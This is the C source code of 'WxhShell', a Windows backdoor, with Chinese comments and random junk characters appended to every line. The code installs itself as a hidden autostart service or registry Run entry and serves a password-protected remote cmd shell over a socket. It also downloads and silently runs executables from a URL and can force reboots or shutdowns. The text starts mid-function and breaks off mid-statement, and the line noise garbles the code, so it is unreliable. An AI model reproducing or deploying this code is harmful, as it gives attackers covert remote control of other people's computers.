    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x6\^dVR}  
    if(Boot(SHUTDOWN)) ;?-{Uk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R$it`0D4o  
    else { 4VA]S  
    closesocket(wsh); Y'}c$*OkI  
    ExitThread(0); &u) qw }  
    } ,&@FToR  
    break; i4SWFa``  
    } ^R+CkF4l l  
  // 获取shell S4E@wLi  
  case 's': { 2@&"*1(Xu  
    CmdShell(wsh); zR=g<e1xe  
    closesocket(wsh); ?Qpi(Czbpq  
    ExitThread(0); 5a&gdqg]  
    break; ILHn~d IC  
  } *JWPt(bnI  
  // 退出 [H2su|rBI`  
  case 'x': { [2 Rz8e^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Rv.6>xqc  
    CloseIt(wsh); bvJ*REPL ?  
    break; V%^d~^m,H  
    } $7Tj<;TV  
  // 离开 wA87|YK8*  
  case 'q': { :mdoGb$ dr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e.|t12)L "  
    closesocket(wsh); E_xk8X~  
    WSACleanup(); ,(+ZD@Rg  
    exit(1); grDz7\i:  
    break; PJh97%7  
        } $K 1)2WG  
  } ,nw5 M.D_  
  } `_{,4oi  
7#g<fh  
  // 提示信息 <9Ytv|t@0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2bpFQ8q  
} ><)fK5x  
  } *MN("<A_  
7{[i)  
  return; ;FjI!V  
} %bhFl,tL  
R1:7]z0B  
// shell模块句柄 u z:@  
int CmdShell(SOCKET sock) ;:Y/"5h  
{ ^Ov+n1,)  
STARTUPINFO si; T"Nnl(cO_  
ZeroMemory(&si,sizeof(si)); @N\ Ht'f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \@j3/!=,n%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bB.Yq3KI  
PROCESS_INFORMATION ProcessInfo; uU8L93  
char cmdline[]="cmd"; /<IXCM.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j1dz'G}hj  
  return 0; WQY\R!+  
} CSE!Abg  
%U&ztvR0C  
// 自身启动模式 EJ Ta~  
int StartFromService(void) 5R#:ALwX:  
{ aDX4}`u  
typedef struct '\LU 8VC  
{ i th!,jY*i  
  DWORD ExitStatus; elb}] +  
  DWORD PebBaseAddress; \ id(P3M  
  DWORD AffinityMask; Hd~fSXFl  
  DWORD BasePriority; NJ!}(=1|K  
  ULONG UniqueProcessId; #r80FVwiD  
  ULONG InheritedFromUniqueProcessId; ] iiB|xT  
}   PROCESS_BASIC_INFORMATION; ch0x*[N@  
C3 (PI,,  
PROCNTQSIP NtQueryInformationProcess; X#u< 3<P  
L(kW]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iSj.lW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4{ exv  
M cbiO)@I  
  HANDLE             hProcess; ~ouRDO  
  PROCESS_BASIC_INFORMATION pbi; VI^~I;M^  
3_c4+u"6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V4x6,*)e  
  if(NULL == hInst ) return 0; T04&Tl'CT  
!o/;"'&E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P, SI0$Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [E/^bM+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); { :_qa|  
_jrkR n1"  
  if (!NtQueryInformationProcess) return 0; K|{&SU_m  
Gjf1Ba  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D$bJs O  
  if(!hProcess) return 0; [ r=U-  
F[U0TP@&*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >U') ICD~  
:X- \!w\  
  CloseHandle(hProcess); kX]p;C  
ou'|e"tI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \G &q[8F\  
if(hProcess==NULL) return 0; tsqWnz=)  
3 p9LVa  
HMODULE hMod;  ,zrShliU  
char procName[255]; qt#4i.Iu+  
unsigned long cbNeeded; N`i`[ f  
Nx4X1j?-n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7!E7XP6,~>  
9mH+Ol#(  
  CloseHandle(hProcess); `_H^k !^  
cdsF<tpy  
if(strstr(procName,"services")) return 1; // 以服务启动 rlVo}kc7:  
dq$C COC^F  
  return 0; // 注册表启动 de?lO ;8  
} h\$juIQa  
ZE>!]# ,  
// 主模块 Q\<^ih51  
int StartWxhshell(LPSTR lpCmdLine) mdD9Q N01  
{ QG=&{-I~[3  
  SOCKET wsl; T@H2[ 7[;  
BOOL val=TRUE; V{G9E  
  int port=0; =D~RIt/D  
  struct sockaddr_in door; hFWK^]~ a  
jo8;S?+<|?  
  if(wscfg.ws_autoins) Install(); l<mEGKB#  
GCEq3 ^/  
port=atoi(lpCmdLine); Z<0+<tt  
mh8~w~/[  
if(port<=0) port=wscfg.ws_port; 0Ku%9wh-  
x2g P, p-  
  WSADATA data; s%R'c_cGZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nob^ I5?  
j?n:"@!G/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bswd20(w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hq^@t6!C\m  
  door.sin_family = AF_INET; :+>:>$ao  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 35[8XD  
  door.sin_port = htons(port); (^Kcyag4  
t7p`A8&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rpT{0 >5  
closesocket(wsl); 9v<Sng  
return 1; grhwPnKl  
} qm)KO 4  
^L<*ggw  
  if(listen(wsl,2) == INVALID_SOCKET) { H19CVc\B  
closesocket(wsl);  }[<eg>9#  
return 1; _8'FI_E3  
} uvrfR?%QK  
  Wxhshell(wsl); oGLSk (T&I  
  WSACleanup(); jF\J+:5M  
nJ4CXSdE  
return 0; yv<0fQ  
X=p~`Ar M{  
} 5)yQrS !{:  
\8!&X cA  
// 以NT服务方式启动 6 tbH(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >, &6zj  
{ u= K?K  
DWORD   status = 0; o " x& F  
  DWORD   specificError = 0xfffffff; U!-|.N,  
?~a M<rcZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dc[Qu? ]LM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OZ q/'*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9zkR)C  
  serviceStatus.dwWin32ExitCode     = 0; rY>{L6d  
  serviceStatus.dwServiceSpecificExitCode = 0; r^?%N3  
  serviceStatus.dwCheckPoint       = 0; Iy](?b  
  serviceStatus.dwWaitHint       = 0; T] nZ3EZ  
1Ly?XNS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P$)9osr  
  if (hServiceStatusHandle==0) return; Qko}rd_M  
A]{8 =  
status = GetLastError(); 'B"kUh%3$5  
  if (status!=NO_ERROR) y= I LA  
{ =ot`V; Q>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xnu|?;.}!  
    serviceStatus.dwCheckPoint       = 0; KW.S)+<H&  
    serviceStatus.dwWaitHint       = 0; I,AI$A  
    serviceStatus.dwWin32ExitCode     = status; UG+wRX :dA  
    serviceStatus.dwServiceSpecificExitCode = specificError; OZ_'& CZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `ge{KB;*n#  
    return; }d)>pH  
  } _SC>EP8:Z  
];1z%.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { >Y<!  
  serviceStatus.dwCheckPoint       = 0; EG0NikT?  
  serviceStatus.dwWaitHint       = 0; Vd|5JA}<"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %.b)%=  
} q01zN:|-1  
b9OT~i=S|  
// 处理NT服务事件,比如:启动、停止 RH. oo&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;'pEzz?k"  
{ wLU w'Ai  
switch(fdwControl) 0sq/_S  
{ slHlfWHq  
case SERVICE_CONTROL_STOP: @}x)>tqD  
  serviceStatus.dwWin32ExitCode = 0; $RKd@5XP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ WZ<d^L  
  serviceStatus.dwCheckPoint   = 0; ,I@4)RSAH|  
  serviceStatus.dwWaitHint     = 0; 89@89-_mC  
  { '8k\a{t_z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o&?Tz*"l  
  } 8R:H{)o~s}  
  return; G+'MTC_  
case SERVICE_CONTROL_PAUSE: +&a2aEXF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "`,PLC  
  break; *H&a_s/{Nb  
case SERVICE_CONTROL_CONTINUE: ez86+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ; ZL<7tLDb  
  break; r em&F'x0V  
case SERVICE_CONTROL_INTERROGATE: 0c7&J?"wE  
  break; 0wZLkU_(  
}; v>)[NAY9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @OFl^U0/  
} F!`.y7hY@  
/n?5J`6  
// 标准应用程序主函数 G+b$WQn2t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cGsxfwD  
{ \E?1bc{\f  
%MbjKw  
// 获取操作系统版本 XOgX0cRC4  
OsIsNt=GetOsVer(); N iNZh;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tr/wG  
?8! 4!P%n  
  // 从命令行安装 tI{ n!  
  if(strpbrk(lpCmdLine,"iI")) Install(); f5wOk& G  
( rZq0*  
  // 下载执行文件 in#qV  
if(wscfg.ws_downexe) { {E6b/G?Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )@1_Dm@0b  
  WinExec(wscfg.ws_filenam,SW_HIDE); xfO!v>  
} mkj`z  
$hn_4$  
if(!OsIsNt) { z O$SL8U  
// 如果时win9x,隐藏进程并且设置为注册表启动 I g-VSQ  
HideProc(); Sqc*u&W  
StartWxhshell(lpCmdLine); F2oY_mA  
} ,O 3"r;  
else i]hFiX  
  if(StartFromService()) pK *-In  
  // 以服务方式启动 I.y|AQB  
  StartServiceCtrlDispatcher(DispatchTable); EW#.)@-  
else ]4uIb+(S  
  // 普通方式启动 ,!%[CpM3  
  StartWxhshell(lpCmdLine); }6C&N8 f  
?h K+h.{  
return 0; YIgzFt[L  
} rx_'(  
 >?U (w<  
[_-CO }>  
( M.Sl  
=========================================== <T  
CX CU5-  
Ik;~u8j1e  
QE< 63|  
z56W5g2  
u4z]6?,"e  
" qhF/iUE  
Xb$)}n\9  
#include <stdio.h> kwGj 7'  
#include <string.h>  <MvFAuAT  
#include <windows.h> JkQ4'$:  
#include <winsock2.h> 6sQ"go$}  
#include <winsvc.h> oPzt1Y  
#include <urlmon.h> -BQM i0  
v8 6ls[lzu  
#pragma comment (lib, "Ws2_32.lib") "-ZuH   
#pragma comment (lib, "urlmon.lib") \vFkhm  
{hg,F?p '  
#define MAX_USER   100 // 最大客户端连接数 hs<7(+a  
#define BUF_SOCK   200 // sock buffer mjBXa  
#define KEY_BUFF   255 // 输入 buffer 0qJ(3N  
2{+\\.4Evk  
#define REBOOT     0   // 重启 $D9JsUij  
#define SHUTDOWN   1   // 关机 p+9vSM #  
y3;G<9K2c]  
#define DEF_PORT   5000 // 监听端口 [2)Y0; ["  
bmt2~!  
#define REG_LEN     16   // 注册表键长度 ,p$1n;  
#define SVC_LEN     80   // NT服务名长度 N<N!it  
qr<5z. %  
// 从dll定义API <]CO}r   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !R)v2Mk|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +Icg;m{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +(cs,?`\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] MUuz'<  
\P{VJ^) 0  
// wxhshell配置信息 Vs{|:L+  
struct WSCFG { g ~10K^  
  int ws_port;         // 监听端口 G9Xrwk<g4  
  char ws_passstr[REG_LEN]; // 口令 _h@e.BtDs  
  int ws_autoins;       // 安装标记, 1=yes 0=no i/)Uj-*G)  
  char ws_regname[REG_LEN]; // 注册表键名 J tYnBg?[E  
  char ws_svcname[REG_LEN]; // 服务名 lD !^MqK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p(U' c}@2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SwSBQq%h]M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T:na\y/{j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D}\% Q #  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <5C3c&sds  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2,NQ(c_c$  
IU Dp5MIuR  
}; ,VJ0J!@  
q1NAKcA<U  
// default Wxhshell configuration Mg^GN -l  
struct WSCFG wscfg={DEF_PORT, Du[$6  
    "xuhuanlingzhe",  eCk}B$ 2  
    1, X<Vko^vlj  
    "Wxhshell", ir%/9=^d  
    "Wxhshell", wm8(Ju  
            "WxhShell Service", qjUQ2d  
    "Wrsky Windows CmdShell Service", Ds0^/bYp&  
    "Please Input Your Password: ", F S1<f:  
  1, Bv!j.$0d{  
  "http://www.wrsky.com/wxhshell.exe", ;t"#7\  
  "Wxhshell.exe" 9{xP~0g  
    }; hQ8/-#LO_  
HAN#_B1.  
// 消息定义模块 S G]e^%i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rf]]I#C7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Os?~U/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .xCO_7Rd  
char *msg_ws_ext="\n\rExit."; KcNEB_i  
char *msg_ws_end="\n\rQuit."; yWt87+%T  
char *msg_ws_boot="\n\rReboot..."; 3x 'BMAA+  
char *msg_ws_poff="\n\rShutdown..."; ).-B@&Eu%  
char *msg_ws_down="\n\rSave to "; [T~O%ly7x&  
.w[]Q;K_[)  
char *msg_ws_err="\n\rErr!"; H4^-MSw  
char *msg_ws_ok="\n\rOK!"; BE}lzn=sF  
C x$|7J=O  
char ExeFile[MAX_PATH]; ^Zydy  
int nUser = 0; &[qL l  
HANDLE handles[MAX_USER]; q9icj  
int OsIsNt; rv:,Os_  
!Edc]rg7  
SERVICE_STATUS       serviceStatus; :eei<cn2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VA4_>6  
\7*9l%  
// 函数声明 f=g/_R2$xN  
int Install(void); QjF.U8  
int Uninstall(void); (lS&P"Xi  
int DownloadFile(char *sURL, SOCKET wsh); p>|;fS\`@}  
int Boot(int flag); ,R ]]]7)+  
void HideProc(void); osPX%k!yw  
int GetOsVer(void); &Q(Q/]U~  
int Wxhshell(SOCKET wsl); IWuR=I$t  
void TalkWithClient(void *cs); Hc5@ gN  
int CmdShell(SOCKET sock); x_bS-B)%Y:  
int StartFromService(void); .2[>SI  
int StartWxhshell(LPSTR lpCmdLine); |W`1#sP>  
Lt|k}p@]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^e<0-uM" s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (9fqUbG  
nWmc  
// 数据结构和表定义 pkjL2U:  
SERVICE_TABLE_ENTRY DispatchTable[] = p,$1%/m  
{ #CHsH{d  
{wscfg.ws_svcname, NTServiceMain}, E3_EXz9 h  
{NULL, NULL} =TwV_Dro~  
}; DJ[U^dWRn  
E/Eny 5  
// 自我安装 Pm%ZzU  
int Install(void) #B;`T[  
{ b ]1SuL  
  char svExeFile[MAX_PATH]; `c(,_o a{  
  HKEY key; *N[.']#n  
  strcpy(svExeFile,ExeFile); W>bhSKV%  
L8T T54fM  
// 如果是win9x系统,修改注册表设为自启动 c^Rz?2x  
if(!OsIsNt) { :sk7`7v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ('OPW&fRG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^['%wA%  
  RegCloseKey(key); 573wK~9oMh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -gv@ .#N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]J5[ZVz  
  RegCloseKey(key); V-O49  
  return 0; 2JUX29rER  
    } ;)u}`4~L  
  } n|yl3v  
} y%v<Cp@R  
else { :-Ho5DHg  
@@'zMV%  
// 如果是NT以上系统,安装为系统服务 Lk4&&5q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t A\N$  
if (schSCManager!=0) 9kH~+  
{ nxA]EFS  
  SC_HANDLE schService = CreateService 3!Rb {  
  ( :_p3nb[r  
  schSCManager, rRYP~ $c  
  wscfg.ws_svcname, E )09M%fe  
  wscfg.ws_svcdisp, n<"?+bz"<  
  SERVICE_ALL_ACCESS, x,5$VLs\+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?G* XZ0u~  
  SERVICE_AUTO_START, V`pTl3  
  SERVICE_ERROR_NORMAL, 1LJ ?Ka[_*  
  svExeFile, ~i fq_Ag.  
  NULL, ryW1OV6?_0  
  NULL, OMvwmm  
  NULL, ^ Gq2"rDM  
  NULL, 1AjsAi,7;2  
  NULL w4:n(.;HK  
  ); >XSe  
  if (schService!=0) E@JxY  
  { ]6pxd \Q  
  CloseServiceHandle(schService); n AoGG0$5  
  CloseServiceHandle(schSCManager); ^ B=x-G.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QKwWX_3%Z]  
  strcat(svExeFile,wscfg.ws_svcname); one^XYy1%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~V`D@-VND  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f"k?Ix\ e  
  RegCloseKey(key); t TA6 p  
  return 0; l(v$+  
    } GH7{_@pv8  
  } h$f/NSct2  
  CloseServiceHandle(schSCManager); e%R+IH5i  
} @1*lmFq'kV  
} >tr_Ypfv,c  
28f-8B  
return 1; Av.(i2  
} +y6|Nq  
>m:.5][yu  
// 自我卸载 79s6U^vv"  
int Uninstall(void) p0qQ(  
{ ~XsS00TL`G  
  HKEY key; $a15 8  
[9BlP  
if(!OsIsNt) { \S=!la_T@m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { umcbIi('  
  RegDeleteValue(key,wscfg.ws_regname); CBnD)1b\  
  RegCloseKey(key); _8 vxb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wju~5  
  RegDeleteValue(key,wscfg.ws_regname); ,*E%D _  
  RegCloseKey(key); D4 {gt\V  
  return 0; smIZ:L %  
  } 7KRc^ *pZs  
} %f6l"~y  
} yZ0;\Tr*J  
else { /nv1 .c)k  
C;dA?Es>R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iBp 71x65  
if (schSCManager!=0) X-:Ni_O\ty  
{ k{c~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); By3dRiM=,2  
  if (schService!=0) +FY-r[_~  
  { `Jm{K*&8Q  
  if(DeleteService(schService)!=0) { %bDd  
  CloseServiceHandle(schService); 6Wc eDY  
  CloseServiceHandle(schSCManager); 5\R8>G~H  
  return 0; xBgf)'W_Z  
  } g+ 2SB5 2D  
  CloseServiceHandle(schService); R^1= :<)C  
  } ni2H~{]z  
  CloseServiceHandle(schSCManager); ^z[s;:-  
} "5{Yn!-:  
} s$H5W`3  
Sw5H+!  
return 1; a P{xMB#1h  
} Ql&P1|&  
Z]w_2- -  
// 从指定url下载文件 +QldZba  
int DownloadFile(char *sURL, SOCKET wsh) WCR+ZXI?1  
{ /3KEX{'@U  
  HRESULT hr; 2mU}"gf[  
char seps[]= "/"; y{j>4g$:z  
char *token; ?MpGz CPa  
char *file; X\1D[n:  
char myURL[MAX_PATH]; (a^F`#]  
char myFILE[MAX_PATH]; XJ?@l3D:  
A]H+rxg  
strcpy(myURL,sURL); h$ZF[Xbfe  
  token=strtok(myURL,seps); n0vPW^EQ  
  while(token!=NULL) SCGQo.~,  
  { N"E\o,_  
    file=token; )s6tj lf8  
  token=strtok(NULL,seps); L {B#x@9tQ  
  } / /wmJ |  
oK(ua  
GetCurrentDirectory(MAX_PATH,myFILE); zcxG%? Q  
strcat(myFILE, "\\"); ?|s[/zPS=  
strcat(myFILE, file); j<l>+., U  
  send(wsh,myFILE,strlen(myFILE),0); %'g/4I  
send(wsh,"...",3,0); BwEL\*$g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2ZE4^j|  
  if(hr==S_OK) VJ=!0v  
return 0; ImF/RKI~ "  
else ~)ByARao=  
return 1; YO,GZD`-o  
6b]vHT|p  
} S:1! )7  
X;6X K$"  
// 系统电源模块 ?^"S%Vb  
int Boot(int flag) ,%,}[q?]d  
{ O]~p)E  
  HANDLE hToken; ")sq?1?X  
  TOKEN_PRIVILEGES tkp; OKf/[hyu  
#a .aD+d'  
  if(OsIsNt) { L1D%vu`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fqF1 - %  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SQz>e  
    tkp.PrivilegeCount = 1; 90ORx\Oeo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F`3 8sq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W0nRUAo[  
if(flag==REBOOT) { u;Z~Px4]v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =j}00,WH  
  return 0; h,#AY[Q  
} 3ea6g5kX  
else { leyX: +  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zCco/]h  
  return 0; O^IpfS\/  
} n=yFw\w'  
  } +Uk/Zg w^  
  else { 2smLv1w@  
if(flag==REBOOT) { xUeLX`73  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \?GMtM,  
  return 0; (^6SF>'  
} :|fzGf  
else { 4~Z\tP|Q.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a"ht\v}1  
  return 0; Tlf G"HzZ%  
} aIm\tPbb  
} fYH%vr)  
,ur_n7+LH  
return 1; g@S"!9[;U  
} _$F I>  
X"[c[YT!%[  
// win9x进程隐藏模块 yCm iW %L4  
void HideProc(void) S(rA96n  
{ fwOvlD&e  
O-mP{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \a}%/_M\  
  if ( hKernel != NULL ) m+V'*[O{  
  { 3 UBG?%!$f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cl{;%4$9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c"fnTJXr79  
    FreeLibrary(hKernel); G-T:7  
  } P/0n) Q  
0A|.ch  
return; )TV'eq  
} QPdhesrd-  
:}j{NM#  
// 获取操作系统版本 pYVQ-r%QF  
int GetOsVer(void) :,:r  
{ p5Y"W(5_  
  OSVERSIONINFO winfo; U?H!:?,C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZG<<6y*.  
  GetVersionEx(&winfo); k+%6 :r,r&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9r8*'.K`Z  
  return 1; N0/DPZX7  
  else DmPp&  
  return 0; &s\w: 9In  
} R`A @F2  
Xgc@cwd  
// 客户端句柄模块 *y F 9_\n  
int Wxhshell(SOCKET wsl) $\{@wL  
{ W}nD#9tL  
  SOCKET wsh; p]IF=~b  
  struct sockaddr_in client; t&0pE(MO/  
  DWORD myID; 1_*o(HR  
b6Dve]  
  while(nUser<MAX_USER)  I=|b3-  
{ 0I& !a$:  
  int nSize=sizeof(client); =K}5 fe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 <EE4y  
  if(wsh==INVALID_SOCKET) return 1; EO3?Dev  
0Ocy$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '$;S?6$eW  
if(handles[nUser]==0) K`768 %q  
  closesocket(wsh); vG69z&  
else &8z`]mB{t  
  nUser++; tLJ"] D1w  
  } 9JpPas$]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x{j|Tf3,G  
hK&jo(V  
  return 0; |fOQm  
} -]\UFR  
6ix8P;;}#  
// 关闭 socket O4S~JE3o  
void CloseIt(SOCKET wsh) E~3wdOZv1  
{ :q<8:,rP  
closesocket(wsh); I_oJx  
nUser--; y}FTLX $  
ExitThread(0); M6[&od  
} sjvlnnO   
D ]:sR  
// 客户端请求句柄 n&jfJgD&g  
void TalkWithClient(void *cs) mADq_` j  
{ O=?WI  
T;IaVMFG|d  
  SOCKET wsh=(SOCKET)cs; ?<STt 9  
  char pwd[SVC_LEN]; gu7mGHn-  
  char cmd[KEY_BUFF]; Az8>^|@  
char chr[1]; NiQ`,Q$B  
int i,j; ^OnU;8IC  
}_vE lBh6$  
  while (nUser < MAX_USER) { R'`q0MoN1  
Mk Er|w'  
if(wscfg.ws_passstr) { J=JYf_=4bc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M{<cqxY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s`B]+  
  //ZeroMemory(pwd,KEY_BUFF); ]d=SkOq  
      i=0; tpwMy:<Ex  
  while(i<SVC_LEN) { PGF=q|j9K  
Ri=>evx  
  // 设置超时 /g BB  
  fd_set FdRead;  G?AZ%Yx  
  struct timeval TimeOut; $T.we+u  
  FD_ZERO(&FdRead); 8QDs4Bv|  
  FD_SET(wsh,&FdRead); {7.."@Ob<v  
  TimeOut.tv_sec=8; WvQK$}Ax4N  
  TimeOut.tv_usec=0; j6]+ fo&3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e[.c^Hw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aw&:$twbM  
QV,X> !Nz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FR&4i" +  
  pwd=chr[0]; ,:Qy%k}f  
  if(chr[0]==0xd || chr[0]==0xa) { B8 ;jRY  
  pwd=0; = _X#JP79  
  break; l?2(c  
  } Dvbrpn!sk  
  i++; ,#:*dl  
    } q<Gn@xc'  
lO3W:,3_a  
  // 如果是非法用户,关闭 socket W/q-^Zkt,9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z M_ 6A1  
} {\3k(NdEX  
u>SGa @R)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |U)m'W-(q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]wFKXZeK  
B7BXS*_b  
while(1) { U+:oy:mz  
)[_A{#&  
  ZeroMemory(cmd,KEY_BUFF); IA_>x9 (~  
uTgBnv(Y*  
      // 自动支持客户端 telnet标准   |`d,r.+P7  
  j=0; U  ?'$E\  
  while(j<KEY_BUFF) { l`=).k   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8fA9yQ 8  
  cmd[j]=chr[0]; l}odW  
  if(chr[0]==0xa || chr[0]==0xd) { ;sJUTp5\h  
  cmd[j]=0; ] AkHNgW  
  break; AKs=2N> 7  
  } Z)}q=NjA  
  j++; ? g9mDe;k  
    }  o"J>MAD  
eLE9-K+  
  // 下载文件 YF/@]6j  
  if(strstr(cmd,"http://")) { B~z P!^m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uX_A4ht*  
  if(DownloadFile(cmd,wsh)) 7 +A-S9P)  
